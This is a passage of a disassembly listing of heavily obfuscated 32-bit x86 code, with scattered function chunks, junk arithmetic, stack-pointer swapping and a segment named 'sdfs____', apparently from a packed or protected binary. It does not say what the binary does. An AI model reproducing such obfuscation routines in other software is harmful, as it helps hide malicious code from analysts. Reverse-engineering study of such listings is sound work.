1 xor ebx, 3CDF702Dh jmp loc_59D577 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A68A5 proc near ; CODE XREF: sub_5A5648-9677j var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0059ECC2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A161C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A37EA SIZE 00000048 BYTES ; FUNCTION CHUNK AT 005AAE87 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AB06E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AEBC4 SIZE 00000013 BYTES push ebp mov ebp, esp jmp loc_5A37EA sub_5A68A5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A68AD: ; CODE XREF: sub_5A6BBC-934Cj jmp loc_59E306 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A68B2: ; CODE XREF: sub_5992DA+15114j and edi, 2FA85694h jo loc_59E2BE jmp loc_5AC342 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5A68C3: ; CODE XREF: sub_59F1F3-4460j xor edx, [esp-4+arg_0] xor [esp-4+arg_0], edx xor edx, [esp-4+arg_0] pop esp push 5835h jmp loc_59A8B2 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A809B loc_5A68D7: ; CODE XREF: sub_5A809B-1FD4j xchg ecx, [esp-8+arg_0] pop esp push esp jmp loc_5A01CF ; END OF FUNCTION CHUNK FOR sub_5A809B ; --------------------------------------------------------------------------- loc_5A68E1: ; CODE XREF: sdfs____:0059E508j add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 push ebp sub esp, 4 mov [esp], eax push 3F580A39h jmp loc_5A7F4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6905: ; CODE XREF: sub_5AA2D1-F81Ej sub ch, al pop ax jmp loc_5998EA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A690E: ; CODE XREF: sub_5A7BA0+34C9j mov ebp, 0AE5AE5E0h push esi mov esi, 6D2D181Bh jmp loc_59ECEF ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A691E: ; CODE XREF: sub_5A2E28-8142j xor [esp-8+arg_8], edi push [esp-8+arg_4] jmp loc_5A8E55 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A692A: ; CODE XREF: sub_5A118F+8D56j mov esi, esp add esi, 4 jmp loc_5A8236 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6937: ; CODE XREF: sub_59D6B8+8567j pop ecx sub ebx, 1E833AEDh sub ebx, eax add ebx, 1E833AEDh sub esp, 4 mov [esp-8+arg_4], ecx push eax push 116B4BAAh pop eax not eax jmp loc_5A64F2 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_5A695A proc near ; CODE XREF: sub_5A039A+Bj push ebx mov ebx, esp jmp loc_5A4474 sub_5A695A endp ; --------------------------------------------------------------------------- loc_5A6962: ; CODE XREF: sdfs____:005A224Fj mov esi, esp push 3D83h mov [esp], edx mov edx, 4 jmp loc_5A2D34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD213 loc_5A6976: ; CODE XREF: sub_5AD213-B4B2j push esp jmp loc_5AB1F8 ; END OF FUNCTION CHUNK FOR sub_5AD213 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5A697C: ; CODE XREF: sub_5A4E04+89FBj add ebx, 60127A62h jg loc_5A9FB2 dec ebx and ebx, 2F4552D6h neg ebx jns sub_5A2D20 loc_5A6997: ; CODE XREF: sdfs____:005AD259j push edi mov edi, ebx jmp loc_59E9A6 ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5A699F: ; CODE XREF: sub_59D18A+BEE5j add [esp+10h+var_8], ebp mov ebp, [esp+10h+var_10] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+14h+var_14] mov esp, [esp+14h+var_14] jmp loc_5A25B9 ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A69C0: ; CODE XREF: sub_5A0FFF-C9Bj mov dx, word ptr [esp-0Ch+arg_6+2] push 697Eh jmp loc_59D7F0 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5A69CE: ; CODE XREF: sub_59A7E7+13D10j push esp push [esp+10h+var_10] jmp loc_59E18D ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A69D7: ; CODE XREF: sub_59D6B8+E983j sub edi, ebx mov ebx, [esp-4+arg_0] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] pop esp jmp loc_5A6D03 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A69F1: ; CODE XREF: sub_5AA2D1-A387j push 891h mov [esp+0Ch+var_C], ecx push edx mov edx, 4026487Eh mov ecx, 4AEA9F1Eh sub ecx, edx jmp loc_59C152 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A6A0B: ; CODE XREF: sub_5992DA+139E9j mov edi, 5D1244ABh push esi mov esi, 5D1204ABh push esi sub [esp+4+var_6+2], 120D0B11h pop ebp jmp loc_5A8F47 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6A24: ; CODE XREF: sub_59D6B8+7B32j sub edx, ebp mov ebp, [esp+0Ch+var_C] add esp, 4 jmp loc_5A7961 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A6A31: ; CODE XREF: sub_5A7BA0-D6Cj add esp, 4 xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] push ebp jmp loc_5A6105 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5A6A46: ; CODE XREF: sub_5A118F-28Bj jbe loc_5A915A add ah, 2Ah mov bh, ah pop eax xor bh, 67h shr bh, 5 jmp loc_5A4545 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2A15 loc_5A6A5D: ; CODE XREF: sub_5A2A15+20E1j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A2A15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6A62: ; CODE XREF: sub_5AA2D1-537Fj mov ax, 0FFFFh jmp loc_59A01F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_5A6A6B: ; CODE XREF: sub_5AFA26-14EE9j add edi, ebp mov ebp, [esp+0] add esp, 4 xor edi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edi jmp loc_5AC0C1 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A6A7E: ; CODE XREF: sub_5A477C:loc_59C573j sub eax, 7D451FA3h jb sub_5A0278 push ebx jmp loc_5A24F5 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- pop esp xor ecx, 1A7A565Eh mov ebx, ecx ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6A98: ; CODE XREF: sub_5AA2D1+5504j ; sub_5AA2D1+558Cj add ebx, esi push [esp+0Ah+var_C+2] pop esi add esp, 4 xor ebx, [esp+6+var_8+2] xor [esp+6+var_8+2], ebx xor ebx, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] sub esp, 4 mov [esp+0Ah+var_C+2], ebp sub esp, 4 mov [esp+0Eh+var_10+2], esi jmp loc_5AF9EE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4886 loc_5A6AC4: ; CODE XREF: sub_5A4886-4C89j add ebx, eax add ebx, 4DAC51A1h jmp loc_59B1DD ; END OF FUNCTION CHUNK FOR sub_5A4886 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A6AD1: ; CODE XREF: sub_59EE3E+EC21j sub ebx, eax jmp loc_5A06E4 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5A6AD8: ; CODE XREF: sub_5A18F6+45CEj ; sdfs____:005AC540j ... mov dl, bl mov ch, dl pop edx mov ebx, [esp+4+var_4] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+8+var_8] pop esp jmp sub_5AEC1C ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- loc_5A6AF8: ; CODE XREF: sdfs____:005AEA7Cj mov ecx, ebp pop ebp shl ecx, 3 push esi mov esi, 57883C57h add esi, 1 jmp loc_59CCB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03E8 loc_5A6B0F: ; CODE XREF: sub_5B03E8-4E44j mov ecx, [esp+0] jmp loc_5AC0D7 ; END OF FUNCTION CHUNK FOR sub_5B03E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_5A6B17: ; CODE XREF: sub_5AAE5E-EE5Fj push 152F333Eh push [esp+8+var_8] mov ecx, [esp+0Ch+var_C] jmp loc_5B0447 ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A6B27: ; CODE XREF: sub_5992DA+AF0Bj mov [esp+14h+var_14], ebp jmp loc_5AC4E7 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_5A6B2F: ; CODE XREF: sub_59F1C3-17F6j pop edx neg eax push 0 sub [esp+8+var_8], eax pop eax add eax, 36FB53AEh jmp loc_59FB73 ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A6B45: ; CODE XREF: sub_5992DA+18Bj mov eax, 0F92555Bh neg eax jmp loc_5A617C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5A6B51: ; CODE XREF: sub_5ADD33-14797j sub eax, esi jmp loc_5A1493 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6B58: ; CODE XREF: sub_5AA2D1-CD00j sub ebx, edi pop edi push ecx mov ecx, 1BBE1CCFh jmp loc_5A3FB0 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_5A6B66: ; CODE XREF: sub_5A5824+2CFAj add ebx, edi jmp loc_59A6A0 ; END OF FUNCTION CHUNK FOR sub_5A5824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB82 loc_5A6B6D: ; CODE XREF: sub_59DB82+45BBj mov ebp, [esp-4+arg_0] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] jmp loc_5A9CF9 ; END OF FUNCTION CHUNK FOR sub_59DB82 ; =============== S U B R O U T I N E ======================================= sub_5A6B87 proc near ; CODE XREF: sub_5B02C0-5740j ; sub_59D6B8+E493j push ebx mov bx, 6745h neg bx or bx, 6FD6h jmp loc_59B9B2 sub_5A6B87 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5A6B99: ; CODE XREF: sub_5996E4+6C2j push dword ptr [edi+eax*4] push [esp+4+var_4] pop eax jmp sub_59A94C ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5A6BA5: ; CODE XREF: sub_59A26C+468Cj pop dword ptr [esp+0] pop esp push esp pop [esp-4+arg_0] add [esp-8+arg_4], 4 push [esp-8+arg_4] jmp loc_59E07E ; END OF FUNCTION CHUNK FOR sub_59A26C ; =============== S U B R O U T I N E ======================================= sub_5A6BBC proc near ; CODE XREF: sub_59C979:loc_5A67D9j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00599237 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00599D7F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059A97B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059ACEB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059AE5A SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059BAEA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059BE27 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059C02B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059D866 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059DD5C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059E306 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059E5F7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059EA03 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059EBC3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059F0D5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059F675 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059FAC6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059FE0B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059FE35 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A0F09 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A1201 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A1A1D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2450 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A28CE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A2A43 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A2FAE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A36C9 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005A3C86 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A4034 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A44B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A4BB7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A4E4C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A5FD5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A61D6 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A6277 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A6384 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A6595 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A68AD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A6D72 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A71CD SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A78D7 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005A7A58 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A8191 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005A8750 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A9109 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AA24E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AA46A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AB37E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AB72A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005ABB93 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ABCB5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005ABD29 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005ABDF5 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AC029 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AC4CA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ACDDA SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AD090 SIZE 00000053 BYTES ; FUNCTION CHUNK AT 005ADA78 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005ADAEF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005ADE3F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AE17D SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005AE1E4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AE754 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AECE8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AFE47 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005B0065 SIZE 0000002A BYTES sub esp, 2 mov word ptr [esp+4+var_4], cx not byte ptr [esp+4+var_4] mov cx, word ptr [esp+4+var_4] push esi jmp loc_5A6277 sub_5A6BBC endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_5A6BD3: ; CODE XREF: sub_5A5EFF+1B1Aj inc ebp js loc_59E586 add ebp, 1 jmp loc_5AFA7E ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- pop ebx ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6BE6: ; CODE XREF: sub_5AA2D1-A7EFj shl ebp, 8 jnp loc_5A138D push edx jmp loc_5A302B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_5A6BF5: ; CODE XREF: sub_5A0FFF-12D7j push edx jmp loc_5A28BD ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A6BFB: ; CODE XREF: sub_59EE3E+1B88j shr ebp, 5 xor ebp, 2093C4F8h jmp loc_5AB8F8 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D5EA loc_5A6C09: ; CODE XREF: sub_59D5EA+22j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5A7D56 ; END OF FUNCTION CHUNK FOR sub_59D5EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5A6C19: ; CODE XREF: sub_5A16B8+ADB0j push edi push esp pop edi jmp loc_5A0B88 ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A6C21: ; CODE XREF: sub_59C979+B65Dj add [esp-8+arg_6+2], ecx jmp loc_5AA392 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4886 loc_5A6C2A: ; CODE XREF: sub_5A4886+B684j pop edx jmp loc_59BC9F ; END OF FUNCTION CHUNK FOR sub_5A4886 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5A6C30: ; CODE XREF: sub_59A479:loc_5A783Fj xor eax, 4FEC8778h jmp loc_59AB74 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A6C3A: ; CODE XREF: sub_5992DA+BD4j pop edx and edx, ecx pop ecx or edx, 132B451Bh xor edx, 0B6F2F2Eh or eax, edx jmp loc_59BF63 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF46F loc_5A6C51: ; CODE XREF: sub_5AF46F-10EB9j sub ebx, ebp pop ebp jmp loc_5A0B76 ; END OF FUNCTION CHUNK FOR sub_5AF46F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F3AE loc_5A6C59: ; CODE XREF: sub_59F3AE+3j mov [esp+4+var_4], ecx mov ecx, esp jmp sub_5AA26A ; END OF FUNCTION CHUNK FOR sub_59F3AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CC30 loc_5A6C63: ; CODE XREF: sub_59CC30+129B5j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59CC30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A1531 loc_5A6C68: ; CODE XREF: sub_5A1531+81DBj sub edx, ebp pop ebp mov ecx, edx pop edx add ebx, ecx pop ecx add ebx, 4B7F1F29h mov eax, [esp-8+arg_4] add esp, 4 add ebx, 2 xchg ebx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] shr word ptr [esp-0Ch+arg_8], cl pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A1531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6C90: ; CODE XREF: sub_5AA2D1+4A8j sub ebx, 201D3344h push 2F10h mov [esp-28h+arg_24], ebp jmp sub_59DB82 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A6CA3: ; CODE XREF: sub_5992DA+DC3Fj push eax mov eax, 8FB5E1Dh xor eax, 2A44396Ch mov ebx, eax pop eax push 0E30h mov [esp+20h+var_22+2], edi mov edi, 3275187Eh add edi, 35A5531Eh jmp loc_5A2A89 ; --------------------------------------------------------------------------- loc_5A6CC9: ; CODE XREF: sub_5992DA+5E1Dj add esp, 4 jmp loc_59C6BF ; --------------------------------------------------------------------------- loc_5A6CD4: ; CODE XREF: sub_5992DA+EF9Dj sub esi, 144264DDh jge loc_5A815D shl esi, 1 sub esp, 4 mov [esp+24h+var_26+2], esi not [esp+24h+var_26+2] pop esi add esi, 319F6607h mov ebx, esi pop esi push ecx mov ecx, 2BBE10ADh jmp loc_5AB7DE ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6D03: ; CODE XREF: sub_59D6B8+9334j sub edi, edx push edx mov edx, 7FEC7434h sub edi, 7D7C3674h sub edi, 60AC1B6Fh add edi, edx add edi, 60AC1B6Fh add edi, 7D7C3674h mov edx, [esp+0] add esp, 4 mov edx, [esp-4+arg_0] add esp, 4 and eax, edi pop edi push dword ptr [edi+1Ch] push edx mov edx, 1CFE7424h sub [esp-4+arg_4], edx pop edx jmp loc_5A624B ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A6D47: ; CODE XREF: sdfs____:005A45C0j ; sub_5AA2D1-688j add esi, 4 xchg esi, [esp-28h+arg_24] pop esp add edi, 4 push ebx jmp loc_5ACFB7 ; --------------------------------------------------------------------------- loc_5A6D5D: ; CODE XREF: sub_5AA2D1+215Cj mov ebp, [esp-28h+arg_24] push edi mov edi, esp jmp loc_5A3CB3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6D68: ; CODE XREF: sub_5A2E28-8AFAj ; sub_59D6B8+5300j push ecx push [esp+0Ch+var_8] jmp loc_5A5291 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A6D72: ; CODE XREF: sub_5A6BBC-5CB2j ; sub_5A7BEB-4A9Aj ... mov edx, 69FC6FE2h sub edx, 79023FE5h shl edx, 6 jmp loc_5B0065 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5A6D85: ; CODE XREF: sub_5A5B27-3B1Dj mov [esp+4+var_4], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp push eax jmp loc_5A2656 ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_5A6DA0: ; CODE XREF: sdfs____:0059EFA2j ; sub_5AB5A9+2BBj add esp, 4 pop [esp+4+var_4] mov esp, [esp+0] push [esp-8+arg_4] pop ecx push ebp push 35C2h mov [esp+0], esp add dword ptr [esp+0], 4 jmp loc_5A8914 ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_5A6DC5: ; CODE XREF: sub_5AB207-1C63j jge loc_59ADC0 or ecx, 311771C6h jz loc_59FB50 mov bl, 6Ch ; END OF FUNCTION CHUNK FOR sub_5AB207 ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5A6DDA: ; CODE XREF: sub_5A9EC5-AE9Bj pop ebp sub esp, 4 mov [esp+8+var_8], ebx jmp loc_5A8464 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- loc_5A6DE6: ; CODE XREF: sdfs____:loc_5A643Cj or dh, 67h sub dh, 5Bh sub dh, 91h add dh, 0ECh add al, 17h add al, dh sub al, 17h pop edx jmp loc_5AC4BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A6DFE: ; CODE XREF: sub_59D6B8+11CC2j ; sub_5AA2D1+5F02j add ebp, 0A396E630h sub edi, ebp pop ebp shr edi, 1 push ecx jmp loc_5AB21F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5A6E0F: ; CODE XREF: sub_5A7BA0-E4E0j add edx, 67303C21h add edx, esi push ebx mov ebx, 67303C21h sub edx, 3FF16D67h sub edx, ebx add edx, 3FF16D67h mov ebx, [esp+4+var_4] add esp, 4 mov esi, [esp+0] jmp loc_5A6A31 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FE51 loc_5A6E39: ; CODE XREF: sub_59FE51-961j sub ebx, 4 xchg ebx, [esp-4+arg_0] jmp loc_59A6F1 ; END OF FUNCTION CHUNK FOR sub_59FE51 ; --------------------------------------------------------------------------- loc_5A6E44: ; CODE XREF: sdfs____:005A7D2Ej add esi, 5B021489h sub eax, esi jmp loc_5A2886 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A6E51: ; CODE XREF: sub_5A9D64+2752j mov esi, 50812D37h and eax, esi push dword ptr [esp+0] pop esi jmp sub_5A6649 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A6E61: ; CODE XREF: sub_5A522E+8701j ; sub_5AA2D1:loc_5AED6Dj inc ebx push esi mov esi, 17D9049Eh jmp loc_5A621F ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5A6E6D: ; CODE XREF: sub_5AD993-F9ABj xor [esp-14h+arg_10], ecx xor ecx, [esp-14h+arg_10] pop esp push 7E96h mov [esp-14h+arg_10], ebp push ecx sub esp, 4 mov [esp-0Ch+arg_8], eax jmp loc_59A58B ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5A6E8B: ; CODE XREF: sub_5A3992+6D22j add eax, 4 jmp loc_5A4297 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB593 loc_5A6E95: ; CODE XREF: sub_5AB593+2j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AB593 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA 